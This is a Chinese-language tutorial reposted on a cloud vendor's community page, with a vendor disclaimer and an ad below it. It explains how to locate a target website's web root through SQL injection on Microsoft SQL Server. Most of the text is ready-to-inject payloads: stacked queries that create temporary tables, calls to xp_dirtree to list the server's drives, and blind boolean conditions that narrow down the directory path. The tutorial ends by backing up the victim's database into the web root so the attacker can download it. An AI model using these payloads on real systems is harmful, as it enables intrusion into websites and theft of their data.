教你快速獲得WEB根目錄的技巧

來源:互聯網
上載者:User
web|技巧

  本文章針對以下環境,如果不符合以下的條件,就不適合用下面提到的方法來獲得WEB根目錄。

  1、SQL SERVER允許執行多行語句;

  2、該網站能進行注入;

  3、沒有返回詳細的錯誤提示資訊(否則沒有必要用這種方法)。

  根據經驗,猜疑WEB根目錄的順序是:d盤、e盤、c盤,首先我們建立一個暫存資料表用於存放master..xp_dirtree(適合於public)產生的分類樹,用以下語句:

  ;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir欄位表示目錄的名稱,depth欄位表示目錄的深度。然後執行xp_dirtree獲得D盤的分類樹,語句如下:
  
  ;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

  在進行下面的操作前,先查看D盤有幾個檔案夾,這樣對D盤有個大致的瞭解,語句如下:

  and (select count(*) from temp where depth=1 and dir not in
('Documents and Settings','Program Files','RECYCLER','System VolumeInformation',
'WINDOWS','CAConfig','wmpub',
'Microsoft UAM 卷'))>=數字(數字=0、1、2、3...)

  接著,我們在對方的網站上找幾個一級子目錄,如user、photo,然後,用篩選的方法來判斷WEB根目錄上是否存在此盤上,語句如下:

  and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

  看語句的返回結果,如果為真,表示WEB根目錄有可能在此盤上,為了進一步確認,多測試幾個子目錄:

  and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

  ...

  如果所有的測試結果都為真,表示WEB根目錄很有可能在此盤上。

  下面假設找到的WEB根目錄在此盤上,用以下的語句來獲得一級子目錄的深度:

  and (select depth from temp where dir='user')>=數字(數字=1、2、3...)

  假設得到的depth是3,說明user目錄是D盤的3級目錄,則WEB根目錄是D盤的二級目錄。

  目前我們已經知道了根目錄所在的盤符和深度,要找到根目錄的具體位置,我們來從D盤根目錄開始逐一搜尋,當然,沒有必要知道每個目錄的名稱,否則太耗費時間了。

  接下來,另外建立一個暫存資料表,用來存放D盤的1級子目錄下的所有目錄,語句如下:

  ;create table temp1(dir nvarchar(255),depth varchar(255));--

  然後把從D盤的第一個子目錄下的所有目錄存到temp1中,語句如下:

  declare @dirname varchar(255);set @dirname='
d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS',
'CAConfig','wmpub',
'Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp1 exec master.dbo.xp_dirtree @dirname

  當然也可以把D盤的第二個子目錄下的所有目錄存到temp1中,只需把第二個top 1改為top 2就行了。

  現在,temp1中已經儲存了所有D盤第一級子目錄下的所有目錄,然後,我們用同樣的方法來判斷根目錄是否在此一級子目錄下:

  and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)   如果返回為真,表示根目錄可能在此子目錄下,記住要多測試幾個例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然後我們在用同樣的方法來獲得D盤第2、3...個子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內容刪除。

  現在假設,WEB根目錄在D盤的第一級子目錄下,該子目錄名稱為website,怎樣獲得這個目錄的名稱我想不用我說了吧。因為前面我們知道了WEB根目錄的深度為2,我們需要知道website下到底哪個才是真正的WEB根目錄。

  現在,我們用同樣的方法,再建立第3個暫存資料表:

  ;create table temp2(dir nvarchar(255),depth varchar(255));--

  然後把從D盤的website下的所有目錄存到temp2中,語句如下:

  declare @dirname varchar(255);set @dirname='d:\website\'
+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS','CAConfig',
'wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp2 exec master.dbo.xp_dirtree @dirname

  當然也可以把D盤的website下第二個子目錄下的所有目錄存到temp2中,只需把第二個top 1改為top 2就行了。

  現在,我們用同樣的方法判斷該目錄是否為根目錄:

  and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)

  如果返回為真,為了確定我們的判斷,多測試幾個例子,方法上面都講到了,如果多個例子都返回為真,那麼就確定了該目錄為WEB根目錄。

  用以上的方法基本上可以獲得WEB根目錄,現在我們假設WEB根目錄是:D:\website\www

  然後,我們就可以備份當前資料庫到這個目錄下用來下載。備份前我們把temp、temp1、temp2的內容清空,然後C、D、E盤的分類樹分別存到temp、temp1、temp2中。

  下載完資料庫後要記得把三個暫存資料表DROP掉,現在我們在下載的資料庫中可以找到所有的目錄列表,包括後台管理的目錄以及更多資訊。



聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.